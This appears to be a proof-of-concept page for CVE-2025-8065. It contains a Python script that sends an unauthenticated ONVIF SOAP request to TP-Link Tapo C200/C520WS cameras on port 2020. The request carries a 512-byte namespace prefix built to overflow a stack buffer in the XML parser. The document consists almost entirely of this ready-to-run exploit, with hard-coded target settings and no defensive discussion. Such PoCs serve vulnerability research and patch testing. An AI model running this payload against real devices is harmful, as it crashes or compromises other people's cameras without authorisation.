CVE-2025-8065: Tapo C200/C520WS ONVIF SOAP XML解析器栈缓冲区溢出漏洞

import socket # CVE-2025-8065 PoC - Tapo C200/C520WS ONVIF SOAP XML Parser Stack Buffer Overflow # Target: TP-Link Tapo C200 v3 or C520WS v2.6 # Attack Vector: Adjacent Network (requires same L2 network) # Authentication: None required TARGET_IP = "192.168.1.100" TARGET_PORT = 2020 # ONVIF service port # Generate malicious SOAP request with oversized namespace prefix # The prefix exceeds the fixed buffer size in the XML parser def generate_malicious_soap(): # Create a namespace prefix that overflows the stack buffer # Typical buffer size might be 64-128 bytes, so use 256+ bytes overflow_prefix = "A" * 512 soap_body = f'''<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:{overflow_prefix}="http://www.onvif.org/ver10/device/wsdl"> <soap:Header> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <wsse:UsernameToken> <wsse:Username>admin</wsse:Username> <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">test</wsse:Password> </wsse:UsernameToken> </wsse:Security> </soap:Header> <soap:Body> <GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/> </soap:Body> </soap:Envelope>''' return soap_body def exploit(): print(f"[*] Targeting {TARGET_IP}:{TARGET_PORT}") print("[*] Generating malicious SOAP request...") soap_request = generate_malicious_soap() # Send the malicious request sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((TARGET_IP, TARGET_PORT)) print("[*] Connected to target") # Send HTTP POST with SOAP body http_request = f"POST /onvif/device_service HTTP/1.1\r\n" http_request += f"Host: {TARGET_IP}:{TARGET_PORT}\r\n" http_request += "Content-Type: application/soap+xml; charset=utf-8\r\n" http_request += f"Content-Length: {len(soap_request)}\r\n" http_request += "\r\n" http_request += soap_request sock.send(http_request.encode()) print("[*] Malicious request sent") # Receive response response = sock.recv(4096) print(f"[*] Response received: {response[:200]}") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() if __name__ == "__main__": exploit()